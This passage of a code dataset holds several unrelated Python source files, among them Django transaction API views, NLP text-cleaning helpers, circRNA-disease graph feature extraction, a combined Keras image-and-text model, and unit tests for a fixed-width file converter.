generate_parties(self):\n pass\n\n def list_settlements(self):\n for s in self.scenes['map'].contents['settlements']:\n print(s.__class__.__name__ + ' at ' + str(s.x) + ', ' + str(s.y))\n\n def update(self, delta):\n if not self.paused:\n self.scenes[game.state].update(delta)\n","sub_path":"game/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"186031511","text":"import csv\n\nfaculty = csv.reader(open(\"faculty.csv\", \"rb\"))\n\nemail=[]\n\nfor data in faculty:\n email.append(data[3])\n \ndel email[0]\n\nc = csv.writer(open(\"emailcsv.csv\", \"wb\"))\n\nfor e in email:\n c.writerow([e])\n","sub_path":"python/advanced_python_csv.py","file_name":"advanced_python_csv.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"93149306","text":"# coding=utf-8\n\nimport json\nfrom datetime import datetime\n\nfrom django.http import HttpResponse\nfrom django.http import Http404\nfrom django.views.decorators.http import require_http_methods\nfrom django.shortcuts import render, render_to_response, redirect\nfrom django import forms\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic.base import View\nfrom django.utils.decorators import method_decorator\n\nfrom nami.libs.response import JSONResponse\nfrom nami.utils.http_utils import get_start_limit, get_page, get_request_data\nfrom nami.utils import http_utils\nfrom nami.utils.datetime_utils import get_local_now\nfrom nami.utils.math_utils import evaluate\nfrom nami.models import CommonStatus, API_V1_Mixture\nfrom nami.models.account import Account\nfrom nami.models.transaction import Transaction\nfrom service import transaction as st\nfrom service import account as sa\nfrom .forms import transaction as transaction_form\n\n\nclass TransactionsView(View):\n\n @method_decorator(login_required)\n def post(self, request):\n \"\"\" create a new transaction\n Params:\n * :ref:`CreateForm`\n\n Return:\n :ref:`transaction_api_v1`\n \"\"\"\n data = get_request_data(request.body)\n form = transaction_form.CreateForm(data)\n if not form.is_valid():\n return JSONResponse({'message': form.errors.as_text()}, status=406)\n\n transaction = st.create(\n user_id=request.user.id,\n source_account=form.cleaned_data['source_account'],\n target_account=form.cleaned_data['target_account'],\n value_number=form.cleaned_data['value_number'],\n desc=form.cleaned_data['desc'],\n posted_at=form.cleaned_data['posted_at'] or get_local_now(),)\n\n return JSONResponse(transaction.to_api_dic())\n\n\nclass TransactionConfirmView(View):\n \"\"\"deprecated, please use shadow\"\"\"\n\n @method_decorator(login_required)\n def post(self, request, id):\n id = int(id)\n t = st.find(id=id, status=[CommonStatus.NORMAL, CommonStatus.WAITING])\n if t is None:\n return JSONResponse(status=404)\n if t.status == CommonStatus.NORMAL:\n return JSONResponse(t.to_api_dic())\n\n st.confirm(t)\n return JSONResponse(t.to_api_dic())\n\n\nclass TransactionCancelView(View):\n \"\"\"deprecated, please use shadow\"\"\"\n\n @method_decorator(login_required)\n def post(self, request, id):\n id = int(id)\n t = st.find(id=id, status=CommonStatus.WAITING)\n if t is None:\n return JSONResponse(status=404)\n\n st.cancel(t)\n return JSONResponse(t.to_api_dic())\n\n\nclass TransactionsConfirmView(View):\n \"\"\"deprecated, please use shadow\"\"\"\n\n @method_decorator(login_required)\n def post(self, request):\n st.confirm_all(request.user)\n return JSONResponse(status=200)\n\n\nclass TransactionsCancelView(View):\n \"\"\"deprecated, please use shadow\"\"\"\n\n @method_decorator(login_required)\n def post(self, request):\n st.cancel_all(request.user)\n return JSONResponse()\n\n\nclass TransactionsViaTransactionShadowsView(View):\n\n @method_decorator(login_required)\n def post(self, request):\n data = get_request_data(request.body)\n form = transaction_form.TransactionViaTransactionShadowForm(user_id=request.user.id, data=data)\n if not form.is_valid():\n return JSONResponse({'message': form.errors.as_text()}, status=406)\n\n shadow = st.shadow.to_transaction(\n shadow=form.cleaned_data['shadow'],\n source_account=form.cleaned_data['source_account'],\n target_account=form.cleaned_data['target_account'],\n value_number=form.cleaned_data['value_number'],\n desc=form.cleaned_data['desc'],\n posted_at=form.cleaned_data['posted_at'])\n\n return JSONResponse(shadow.to_api_dic())\n\n\nclass TransactionsDuplicateView(View):\n\n @method_decorator(login_required)\n def get(self, request):\n \"\"\"\n query shadow duplicate in transaction\n \"\"\"\n # start, limit = get_start_limit(request)\n ids = http_utils.get_split_int_list(request, 'transaction_shadow_ids')\n if len(ids) == 0:\n return JSONResponse({})\n transaction_shadows = st.query_shadow_by_transaction_id(request.user.id, ids)\n id_matched_map = st.query_duplicate_transaction(request.user.id, transaction_shadows)\n return JSONResponse(dict([(k, v.to_api_dic()) for k, v in id_matched_map.items()]))\n\n\nclass TransactionsShadowDuplicateView(View):\n\n @method_decorator(login_required)\n def get(self, request):\n \"\"\"\n query shadow duplicate in shadow\n \"\"\"\n # start, limit = get_start_limit(request)\n ids = http_utils.get_split_int_list(request, 'transaction_shadow_ids')\n if len(ids) == 0:\n return JSONResponse({})\n transaction_shadows = st.query_shadow_by_transaction_id(request.user.id, ids)\n id_matched_map = st.query_duplicate_transaction_shadow(request.user.id, transaction_shadows)\n return JSONResponse(dict([(k, v.to_api_dic()) for k, v in id_matched_map.items()]))\n","sub_path":"nami/api_v1/transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"223230351","text":"from re import sub\nfrom sklearn.feature_extraction.text import ENGLISH_STOP_WORDS\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nimport spacy\nfrom gensim.parsing.preprocessing import remove_stopwords\n\n\nsp = spacy.load('en_core_web_sm')\nSTOPWORDS_NLTK = set(stopwords.words('english'))\nSTOPWORDS_SPACY = sp.Defaults.stop_words\n\nlemmatiser_nltk = WordNetLemmatizer()\nnlp = spacy.load(name='en_core_web_sm', disable=['parser', 'ner'])\n\n\ndef get_n_word_strings(terms: list, n: int) -> list:\n \"\"\"\n Extract all n-word strings from a list of varying n-word strings.\n\n :param terms: List of strings to extract from.\n :param n: Integer of words in a string to extract by.\n :return: List of n-word strings.\n \"\"\"\n try:\n if isinstance(terms, str):\n terms = list(terms)\n return get_n_word_strings(terms, n)\n else:\n # count number of terms in each element of list\n counts = [len(x.split()) for x in terms]\n # zip it into a dictionary, where number of terms are the values\n terms_count = dict(zip(terms, counts))\n # 'filter' dictionary for values that are n\n terms_n = [key for key, value in terms_count.items() if value == n]\n\n return terms_n\n except TypeError:\n print(f\"{terms} is not a string or a list of strings. Please enter one!\")\n\n\ndef scrub_stopwords(txt: str, lib_sw: str = None) -> str:\n \"\"\"\n Removes stopwords from text using a choice of libraries.\n Reference:\n - https://medium.com/towards-artificial-intelligence/stop-the-stopwords-using-different-python-libraries-ffa6df941653 # noqa: E501\n\n :param txt: String to pass in to remove stopwords.\n :param lib_sw: String of the library to use to remove stopwords.\n :return: String that has had its stopwords removed.\n \"\"\"\n if lib_sw is None:\n pass\n elif lib_sw == 'sklearn':\n txt = [word for word in txt.split() if word not in ENGLISH_STOP_WORDS]\n txt = ' '.join(txt)\n return txt\n elif lib_sw == 'nltk':\n txt = [word for word in txt.split() if word not in STOPWORDS_NLTK]\n txt = ' ' .join(txt)\n return txt\n elif lib_sw == 'spacy':\n txt = [word for word in txt.split() if word not in STOPWORDS_SPACY]\n txt = ' '.join(txt)\n return txt\n elif lib_sw == 'gensim':\n txt = remove_stopwords(txt)\n return txt\n else:\n raise Exception(f\"Sorry, entered library, {lib_sw}, is not recognised.\\n\"\n + \"Please enter one from [None, 'sklearn', 'nltk', 'spacy', 'gensim']\")\n\n\ndef lemmatise_text(txt: str, lib_l: str = None) -> str:\n \"\"\"\n Lemmatises the text using a choice of libraries.\n Reference:\n - https://www.machinelearningplus.com/nlp/lemmatization-examples-python/#comparingnltktextblobspacypatternandstanfordcorenlp # noqa: E501\n\n :param txt: String to lemmatise on.\n :param lib_l: String of the library to use to perform lemmatisation.\n :return: String that has been lemmatised on.\n \"\"\"\n if lib_l is None:\n pass\n elif lib_l == 'nltk':\n txt_list = word_tokenize(txt)\n return \" \".join([lemmatiser_nltk.lemmatize(word=w) for w in txt_list])\n elif lib_l == 'spacy':\n txt = nlp(txt)\n return \" \".join(token.lemma_ for token in txt)\n else:\n raise Exception(f\"Sorry, entered library, {lib_l}, is not recognised.\\n\"\n + \"Please enter one from [None, 'nltk', 'spacy']\")\n\n\ndef clean_text(txt: str, lib_sw: str, lib_l: str) -> str:\n \"\"\"\n Cleans text by:\n - Lower-casing\n - Removing punctuation\n - Removing stopwords\n - Lemmatising\n\n :param txt: String to pass in to clean.\n :param lib_sw: String of the library to use to remove stopwords.\n :param lib_l: String of the library to use to lemmatise.\n :return: String that has been cleaned.\n \"\"\"\n\n try:\n txt = txt.lower()\n txt = sub(pattern=r'[^\\w\\s]', repl='', string=txt)\n txt = scrub_stopwords(txt, lib_sw)\n txt = lemmatise_text(txt, lib_l)\n return txt\n\n except Exception as error:\n print(f\"Cannot clean text. Cause is: {error}\")\n","sub_path":"src/utils/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"462279496","text":"#!user/bin/python\n#coding=utf-8\nfrom sklearn.decomposition import NMF\nimport math\n#from math import e\n#from nmf import *\nimport numpy as np\nimport time\nimport networkx as nx\n\n\n\n ##############################\n ## Type 1 feature of circRNAs ##\n ##############################\n\n\ndef threetypes_features(nm,nd,A,FS_integration,DS_integration):\n noOfObervationsOfcircRNA=np.zeros((nm,1)) # number of observations in each row of MDA\n aveOfSimilaritiesOfcircRNA=np.zeros((nm,1))# average of all similarity scores for each circRNA\n # histogram feature: cut [0, 1] into five bins and count the proportion of similarity scores that fall into each bin\n hist1circRNA=np.zeros((nm,1))\n hist2circRNA=np.zeros((nm,1))\n hist3circRNA=np.zeros((nm,1))\n hist4circRNA=np.zeros((nm,1))\n hist5circRNA=np.zeros((nm,1))\n\n for i in range(nm):\n noOfObervationsOfcircRNA[i,0]=np.sum(A[i, ])\n aveOfSimilaritiesOfcircRNA[i,0]=np.mean(FS_integration[i, ])\n #print (aveOfSimilaritiesOfcircRNA[i,0])\n hist1Count = 0.0\n hist2Count = 0.0\n hist3Count = 0.0\n hist4Count = 0.0\n hist5Count = 0.0\n for j in range(nm):\n if(FS_integration[i, j] < 0.2):\n hist1Count = hist1Count + 1.0\n elif(FS_integration[i, j] < 0.4):\n hist2Count = hist2Count + 1.0\n elif(FS_integration[i, j] < 0.6):\n hist3Count = hist3Count + 1.0\n elif(FS_integration[i, j] < 0.8):\n hist4Count = hist4Count + 1.0\n elif(FS_integration[i, j] <= 1):\n hist5Count = hist5Count + 1.0\n \n \n hist1circRNA[i,0]=hist1Count /nm\n hist2circRNA[i,0]=hist2Count /nm\n hist3circRNA[i,0]=hist3Count /nm\n hist4circRNA[i,0]=hist4Count /nm\n hist5circRNA[i,0]=hist5Count /nm\n \n \n #print (hist1circRNA,hist2circRNA,hist3circRNA,hist4circRNA,hist5circRNA)\n feature1OfcircRNA=np.hstack((noOfObervationsOfcircRNA, aveOfSimilaritiesOfcircRNA, hist1circRNA,hist2circRNA, hist3circRNA, hist4circRNA, hist5circRNA))\n #print ('feature1OfcircRNA',feature1OfcircRNA[0])\n ################################\n ## Type 1 feature of diseases ##\n ################################\n\n\n noOfObervationsOfdisease=np.zeros((nd,1))# number of observations in each column of MDA\n aveOfsimilaritiesOfDisease=np.zeros((nd,1))# average of all similarity scores for each disease\n hist1disease=np.zeros((nd,1))# histogram feature: cut [0, 1] into five bins and count the proportion of similarity scores that fall into each bin\n hist2disease=np.zeros((nd,1))\n hist3disease=np.zeros((nd,1))\n hist4disease=np.zeros((nd,1))\n hist5disease=np.zeros((nd,1))\n for i in range(nd):\n noOfObervationsOfdisease[i,0]=np.sum(A[:, i])\n aveOfsimilaritiesOfDisease[i]=np.mean(DS_integration[i])\n hist1Count = 0.0\n hist2Count = 0.0\n hist3Count = 0.0\n hist4Count = 0.0\n hist5Count = 0.0\n for j in range(nd):\n if(DS_integration[i, j] < 0.2):\n hist1Count = hist1Count + 1.0\n elif(DS_integration[i, j] < 0.4):\n hist2Count = hist2Count + 1.0\n elif(DS_integration[i, j] < 0.6):\n hist3Count = hist3Count + 1.0\n elif(DS_integration[i, j] < 0.8):\n hist4Count = hist4Count + 1.0\n elif(DS_integration[i, j] <= 1):\n hist5Count = hist5Count + 1.0\n\n hist1disease[i,0]=hist1Count /nd\n hist2disease[i,0]=hist2Count /nd\n hist3disease[i,0]=hist3Count /nd\n hist4disease[i,0]=hist4Count /nd\n hist5disease[i,0]=hist5Count /nd\n\n feature1OfDisease=np.hstack((noOfObervationsOfdisease, aveOfsimilaritiesOfDisease, hist1disease,hist2disease, hist3disease, hist4disease, hist5disease))\n #print ('feature1OfDisease',feature1OfDisease[0])\n #############################\n # Type 2 feature of circRNAs ##\n #############################\n\n #number of neighbors of circRNAs and similarity values for 10 nearest neighbors\n numberOfNeighborscircRNA=np.zeros((nm,1))\n similarities10KnncircRNA=np.zeros((nm,10))\n averageOfFeature1circRNA=np.zeros((nm,7))\n weightedAverageOfFeature1circRNA=np.zeros((nm,7))\n similarityGraphcircRNA=np.zeros((nm,nm))\n meanSimilaritycircRNA=np.mean(FS_integration)\n for i in range(nm):\n neighborCount = 0 - 1 # similarity between an circRNA and itself is not counted\n for j in range(nm):\n if(FS_integration[i, j] >= meanSimilaritycircRNA):\n neighborCount = neighborCount + 1\n similarityGraphcircRNA[i, j] = 1\n numberOfNeighborscircRNA[i,0]=neighborCount\n\n similarities10KnncircRNA[i, ]=sorted(FS_integration[i, ], reverse= True )[1:11]\n indices=np.argsort(-FS_integration[i, ])[1:11]\n\n averageOfFeature1circRNA[i, ]=np.mean(feature1OfcircRNA[indices, ],0)\n weightedAverageOfFeature1circRNA[i, ]=np.dot(similarities10KnncircRNA[i, ],feature1OfcircRNA[indices, ])/10\n # build circRNA similarity graph\n mSGraph = nx.from_numpy_matrix(similarityGraphcircRNA)\n betweennessCentralitycircRNA=np.array(list(nx.betweenness_centrality(mSGraph).values())).T\n #print (\"numberOfNeighborscircRNA\",numberOfNeighborscircRNA[0,0],'similarities10KnncircRNA',sicirclarities10KnncircRNA[0])#betweennessCentralitycircRNA.shape\n #print (betweennessCentralitycircRNA)\n #print (np.array(betweennessCentralitycircRNA.values()))\n #closeness_centrality\n closenessCentralitycircRNA=np.array(list(nx.closeness_centrality(mSGraph).values())).T\n #print (closenessCentralitycircRNA.shape)\n #pagerank\n pageRankcircRNA=np.array(list(nx.pagerank(mSGraph).values())).T\n #print (pageRankcircRNA.shape)\n #eigenvector_centrality\n # eigenvector_centrality=nx.eigenvector_centrality(mSGraph)\n eigenVectorCentralitycircRNA=np.array(list(nx.eigenvector_centrality(mSGraph).values())).T\n #print (eigenVectorCentralitycircRNA.shape)\n combination=np.array([betweennessCentralitycircRNA,closenessCentralitycircRNA,pageRankcircRNA,eigenVectorCentralitycircRNA])\n #print (combination)\n #print (combination.shape)\n # # concatenation\n feature2OfcircRNA=np.hstack((numberOfNeighborscircRNA, similarities10KnncircRNA, averageOfFeature1circRNA, weightedAverageOfFeature1circRNA,combination.T))#betweennessCentralitycircRNA, closenessCentralitycircRNA, eigenVectorCentralitycircRNA, pageRankcircRNA))\n #print ('feature2OfcircRNA',feature2OfcircRNA[0])\n ###############################\n # Type 2 feature of diseases ##\n ###############################\n\n # number of neighbors of diseases and similarity values for 10 nearest neighbors\n numberOfNeighborsDisease=np.zeros((nd,1))\n similarities10KnnDisease=np.zeros((nd,10))\n averageOfFeature1Disease=np.zeros((nd,7))\n weightedAverageOfFeature1Disease=np.zeros((nd,7))\n similarityGraphDisease=np.zeros((nd,nd))\n meanSimilarityDisease=np.mean(DS_integration)\n for i in range(nd):\n neighborCount = 0 - 1 \n for j in range(nd):\n if(DS_integration[i, j] >= meanSimilarityDisease):\n neighborCount = neighborCount + 1\n similarityGraphDisease[i, j] = 1\n\n numberOfNeighborsDisease[i,0]=neighborCount\n\n similarities10KnnDisease[i, ]=sorted(DS_integration[i, ], reverse= True)[1:11]\n indices=np.argsort(-DS_integration[i, ])[1:11]\n\n\n averageOfFeature1Disease[i, ]=np.mean(feature1OfDisease[indices, ],0)\n weightedAverageOfFeature1Disease[i, ]=np.dot(similarities10KnnDisease[i, ],feature1OfDisease[indices, ])/10\n\n # build disease similarity graph\n dSGraph = nx.from_numpy_matrix(similarityGraphDisease)\n betweennessCentralityDisease=np.array(list(nx.betweenness_centrality(dSGraph).values())).T\n #print (betweenness_centrality)\n #closeness_centrality\n closenessCentralityDisease=np.array(list(nx.closeness_centrality(dSGraph).values())).T\n #print (closeness_centrality)\n #pagerank\n pageRankDisease=np.array(list(nx.pagerank(dSGraph).values())).T\n #print (pagerank)\n #eigenvector_centrality\n eigenVectorCentralityDisease=np.array(list(nx.eigenvector_centrality(dSGraph).values())).T\n #print (eigenvector_centrality)\n combination=np.array([betweennessCentralityDisease,closenessCentralityDisease,pageRankDisease,eigenVectorCentralityDisease])\n #print (combination)\n #print (combination.shape)\n\n # concatenation\n feature2OfDisease=np.hstack((numberOfNeighborsDisease, similarities10KnnDisease, averageOfFeature1Disease, weightedAverageOfFeature1Disease,combination.T))#betweennessCentralityDisease, closenessCentralityDisease, eigenVectorCentralityDisease, pageRankDisease))\n #print ('feature2OfDisease',feature2OfDisease[0])\n ###########################################\n ## Type 3 feature of circRNA-disease pairs ##\n ###########################################\n\n # matrix factorization\n # number of associations between an circRNA and a disease's neighbors\n nmf_model = NMF(n_components=20)\n latentVectorscircRNA = nmf_model.fit_transform(A)\n latentVectorsDisease = nmf_model.components_\n numberOfDiseaseNeighborAssociations=np.zeros((nm,nd))\n numberOfcircRNANeighborAssociations=np.zeros((nm,nd))\n MDAGraph=nx.Graph() \n MDAGraph.add_nodes_from(list(range(nm+nd)))\n for i in range(nm):\n for j in range(nd):\n if A[i,j]==1:\n MDAGraph.add_edge(i, j+604)# build MDA graph\n for k in range(nd):\n if DS_integration[j,k]>= meanSimilarityDisease and A[i,k]==1 :\n numberOfDiseaseNeighborAssociations[i,j]= numberOfDiseaseNeighborAssociations[i,j] + 1\n \n for l in range (nm):\n if FS_integration[i,l]>= meanSimilaritycircRNA and A[l,j]==1 :\n numberOfcircRNANeighborAssociations[i,j]= numberOfcircRNANeighborAssociations[i,j] + 1\n\n #betweennessCentralityMDA=nx.betweenness_centrality(MDAGraph)\n betweennessCentralityMDA=np.array(list(nx.betweenness_centrality(MDAGraph).values())).T\n betweennessCentralitycircRNAInMDA=betweennessCentralityMDA[0:604]\n betweennessCentralityDiseaseInMDA=betweennessCentralityMDA[604:692]\n #print (betweenness_centrality)\n closenessCentralityMDA=np.array(list(nx.closeness_centrality(MDAGraph).values())).T\n closenessCentralitycircRNAInMDA=closenessCentralityMDA[0:604]\n closenessCentralityDiseaseInMDA=closenessCentralityMDA[604:692]\n eigenVectorCentralityMDA=np.array(list(nx.eigenvector_centrality_numpy(MDAGraph).values())).T#nx.eigenvector_centrality(MDAGraph)\n eigenVectorCentralitycircRNAInMDA=eigenVectorCentralityMDA[0:604]\n eigenVectorCentralityDiseaseInMDA=eigenVectorCentralityMDA[604:692]\n pageRankMDA=np.array(list(nx.pagerank(MDAGraph).values())).T#nx.pagerank(MDAGraph)\n pageRankcircRNAInMDA=pageRankMDA[0:604]\n pageRankDiseaseInMDA=pageRankMDA[604:692]\n\n Diseasecombination=np.array([betweennessCentralityDiseaseInMDA,closenessCentralityDiseaseInMDA,eigenVectorCentralityDiseaseInMDA,pageRankDiseaseInMDA])\n feature3OfDisease=np.hstack((latentVectorsDisease.T,Diseasecombination.T))\n circRNAcombination=np.array([betweennessCentralitycircRNAInMDA,closenessCentralitycircRNAInMDA,eigenVectorCentralitycircRNAInMDA,pageRankcircRNAInMDA])\n feature3OfcircRNA=np.hstack((latentVectorscircRNA,circRNAcombination.T))\n #print ('feature3OfcircRNA',feature3OfcircRNA[0])\n #print ('feature3OfDisease',feature3OfDisease[0])\n Feature_circRNA = np.hstack ((feature1OfcircRNA,feature2OfcircRNA,feature3OfcircRNA))\n Feature_disease = np.hstack((feature1OfDisease,feature2OfDisease,feature3OfDisease))\n return Feature_circRNA,Feature_disease,numberOfDiseaseNeighborAssociations,numberOfcircRNANeighborAssociations\n\n\n\n\n\n","sub_path":"feature_extract.py","file_name":"feature_extract.py","file_ext":"py","file_size_in_byte":11985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146059597","text":"import os\nimport sys\nfrom sklearn.model_selection import train_test_split\n\nimport numpy as np\nfrom keras.preprocessing import image\nfrom keras.preprocessing.image import img_to_array\n\nsys.path.append(os.pardir)\nfrom keras.models import load_model\nfrom Notebooks.Text.Process import to_vector\nimport pickle\nfrom PIL import ImageFile\nfrom keras import regularizers\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\nfrom keras.preprocessing.image import img_to_array\nfrom Notebooks.LinkDatabases.FacebookData import FacebookDataDatabase\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom keras.preprocessing import image\nfrom keras.optimizers import Adam, SGD\nfrom keras.layers import Input, Convolution2D, MaxPooling2D, Flatten\nfrom keras.models import load_model\nfrom keras.layers import *\nfrom keras.models import Model\nimport keras\nfrom Notebooks.Plot.plot_training import PlotLearning\nfrom keras.layers import LeakyReLU\nfrom keras import initializers\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\n\nclass Static:\n facebookDb = FacebookDataDatabase()\n metric_getter = facebookDb.getCommentCount # Set this to change the model type\n limit = 80_000 # len(os.listdir(\"../Image_CNN/images\"))\n group_size = limit\n plot_losses = PlotLearning(\"combined_keras_model_comment_count\")\n batch_size = 512\n epochs = 100\n\n\ndef save_model(model):\n pkl_filename = Static.metric_getter.__name__ + \".pkl\"\n with open(pkl_filename, 'wb') as file:\n pickle.dump(model, file)\n\n\ndef get_model():\n model_name = Static.metric_getter.__name__ + \".pkl\"\n with open(model_name, 'rb') as pickle_file:\n return pickle.load(pickle_file)\n\n\ndef group(iterator, count):\n itr = iter(iterator)\n while True:\n yield tuple([next(itr) for i in range(count)])\n\n\ndef get_size(filename):\n st = os.stat(filename)\n return st.st_size\n\n\ndef to_array(images):\n return np.array(list(map(lambda x: img_to_array(x) / 255, images)))\n\n\ndef load_images(files):\n loaded = []\n for file_to_load in files:\n try:\n load = image.load_img(file_to_load, target_size=(28, 28), grayscale=True)\n loaded.append(load)\n except:\n print(\"Could not load file: \", file_to_load, os.path.exists(file_to_load))\n return loaded\n\n\ndef transform_image_data(all_files):\n files = list(filter(lambda x: \".jpg\" in x or \".png\" in x, filter(lambda x: \".DS_Store\" not in x, all_files)))\n image_paths = list(map(lambda x: os.path.join(\"../Image_CNN/images\", x), files))\n image_paths = list(filter(lambda x: get_size(x) > 1, image_paths))\n image_arrays = to_array(load_images(image_paths))\n return image_arrays\n\n\ndef get_data():\n all_files = os.listdir(\"../Image_CNN/images\")[:Static.limit]\n ids = list(map(lambda x: x[:-4], all_files))\n rows = list(\n map(lambda x: x[0], filter(lambda x: x if x else None, map(lambda x: Static.facebookDb.getRow(x), ids))))\n data = list(map(lambda x: (x[0], x[10], x[2], x[3]), rows))\n messages = list(map(lambda x: x[1], data))\n image_data = transform_image_data(all_files)\n message_data = to_vector(messages)\n y_data_metrics = list(map(lambda x: x if x > 0 else 0,\n filter(lambda x: x != None, map(lambda x: Static.metric_getter(x), ids))))\n y_data = list(map(lambda x: x, y_data_metrics))\n combined_data = zip(image_data, message_data, y_data)\n if Static.group_size is None:\n Static.group_size = len(list(combined_data))\n import statistics\n print(\"Data Var: \", statistics.stdev(y_data) ** 2)\n print(y_data)\n image_data_batch, message_data_batch, y_data_batch = zip(*combined_data)\n (trainX_image, testX_image, trainY_image, testY_image) = train_test_split(image_data_batch, y_data_batch,\n test_size=0.1, random_state=42)\n (trainX_message, testX_message, trainY_message, testY_message) = train_test_split(message_data_batch,\n y_data_batch, test_size=0.1,\n random_state=42)\n assert trainY_image == trainY_message\n assert testY_image == testY_message\n return trainX_image, trainX_message, trainY_image, testX_image, testX_message, testY_image\n\n\ndef find_models(model_name):\n model_paths = []\n for file in os.listdir(\"./\"):\n if model_name in file and \".h5\" in file:\n model_paths.append(os.path.join(\"./\", file))\n return model_paths\n\n\ndef get_models():\n loaded_model = [] # print(get_models())\n for model_path in find_models(Static.metric_getter.__name__):\n model = load_model(model_path)\n loaded_model.append(model)\n return loaded_model\n\n\ndef get_model_by_name(name):\n model = load_model(find_models(name)[0])\n return model\n\n\nmodels = get_models()\n\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\n\n\ndef get_predictions(image_data, message_data, answers, image_model, message_model):\n message_data_squeezed = np.squeeze(np.array(message_data), axis=1)\n image_predictions = image_model.predict(np.array(image_data)).tolist()\n message_predictions = message_model.predict(message_data_squeezed).tolist()\n predictions = [[i[0], j[0]] for i, j in zip(image_predictions, message_predictions)]\n return predictions\n\n\ndef create_nlp_model():\n model = Sequential()\n input_dim = 64197\n model.add(Dense(1024, input_dim=input_dim))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(0.2))\n\n model.add(Dense(10, input_dim=input_dim))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(0.2))\n\n return model\n\n\ndef create_cnn_model():\n model = Sequential()\n\n model.add(Convolution2D(1024, 2, 1, input_shape=(28, 28, 1)))\n model.add(LeakyReLU(alpha=0.1))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(.1))\n\n model.add(Convolution2D(32, 2, 1))\n model.add(LeakyReLU(alpha=0.1))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(.1))\n\n model.add(Flatten())\n model.add(Dense(10))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(.1))\n\n return model\n\n\nnlp_model = create_nlp_model()\ncnn_model = create_cnn_model()\n\nmergedOut = keras.layers.Add()([cnn_model.output, nlp_model.output])\nmergedOut = Dense(10)(mergedOut)\nmergedOut = LeakyReLU(alpha=0.1)(mergedOut)\nmergedOut = Dropout(.1)(mergedOut)\n\nmergedOut = Dense(1, activation='sigmoid')(mergedOut)\nnewModel = Model([cnn_model.input, nlp_model.input], outputs=mergedOut)\nnewModel.compile(optimizer=Adam(), loss='mean_squared_error',\n metrics=['accuracy'])\n\nmodel_path = \"Combined_Model_{0}.h5\".format(Static.metric_getter.__name__)\n\ntrainX_image, trainX_message, trainY, testX_image, testX_message, testY = get_data()\nhistory = newModel.fit([np.array(trainX_image), np.squeeze(np.array(trainX_message), axis=1)],\n np.array(trainY),\n validation_data=(\n [np.array(testX_image), np.squeeze(np.array(testX_message), axis=1)], np.array(testY)),\n callbacks=[Static.plot_losses], batch_size=Static.batch_size, epochs=Static.epochs)\n\nnewModel.save(\"Combined_Model_{0}.h5\".format(Static.metric_getter.__name__))\n","sub_path":"Combine_Keras_Models/combine_keras_models_comment_count.py","file_name":"combine_keras_models_comment_count.py","file_ext":"py","file_size_in_byte":7489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"232200229","text":"from delimited_writer.delimited_writer import DelimitedFileWriter\nfrom delimited_writer.fixed_width_writer import MockFixedWidthFileWriter\nfrom delimited_writer.encoding_properties import EncodingProperties\n\nimport unittest\nimport os\n\n\nclass CorrectEncodingDecoding(unittest.TestCase):\n \"\"\" Tests that data is correctly encoded and decoded between reading\n the fixed width file and generating the delimited data.\n \"\"\"\n\n def setUp(self):\n spec_filename = \"spec.json\"\n fixed_width_filename = \"fixed_width_cp1252.txt\"\n delimited_filename = \"delimited_utf8.txt\"\n\n # Set encoding properties\n self.encoding_props = EncodingProperties(\n spec_filename,\n fixed_width_filename,\n delimited_filename,\n delimited_newline=None,\n )\n\n # Generate mock fixed width data and file\n self.fixed_width = MockFixedWidthFileWriter(\n self.encoding_props, fixed_width_newline=None\n )\n self.fixed_width_data = self.fixed_width.generate_fixed_width_data()\n self.fixed_width.write_fixed_width_file(self.fixed_width_data)\n\n # Generate delimited data and file\n self.delimited = DelimitedFileWriter(self.encoding_props)\n self.delimited_data = self.delimited.parse_fixed_width_file()\n self.delimited.generate_delimited_file(self.delimited_data)\n\n def test_correct_encoding_decoding(self):\n \"\"\" Create mock fixed width data, write data to file,\n parse this file and assert the data matches after\n encoding/decoding\n \"\"\"\n number_of_lines = len(self.fixed_width_data)\n number_of_columns = len(self.fixed_width_data[0])\n for i in range(number_of_lines):\n for j in range(number_of_columns):\n fixed_width_item = self.fixed_width_data[i][j].replace(\" \", \"\")\n delimited_item = self.delimited_data[i][j]\n self.assertEqual(fixed_width_item, delimited_item)\n\n\nclass ColumnLengthsMatchSpec(unittest.TestCase):\n \"\"\" Tests whether data read from a fixed width file matches the given\n spec.\n \"\"\"\n\n def setUp(self):\n \"\"\" Create invalid column length in fixed width file using \n bad_spec.json which has the first column's offset changed from 5 to 10.\n \"\"\"\n spec_filename = \"spec.json\"\n bad_spec_filename = \"bad_spec.json\"\n fixed_width_filename = \"fixed_width_cp1252.txt\"\n delimited_filename = \"delimited_utf8.txt\"\n\n # Set encoding properties with good spec\n self.encoding_props = EncodingProperties(\n spec_filename,\n fixed_width_filename,\n delimited_filename,\n delimited_newline=None,\n )\n\n # Set encoding properties with bad spec\n self.bad_encoding_props = EncodingProperties(\n bad_spec_filename,\n fixed_width_filename,\n delimited_filename,\n delimited_newline=None,\n )\n\n # Generate mock fixed width data and file with bad spec\n self.fixed_width = MockFixedWidthFileWriter(\n self.bad_encoding_props, 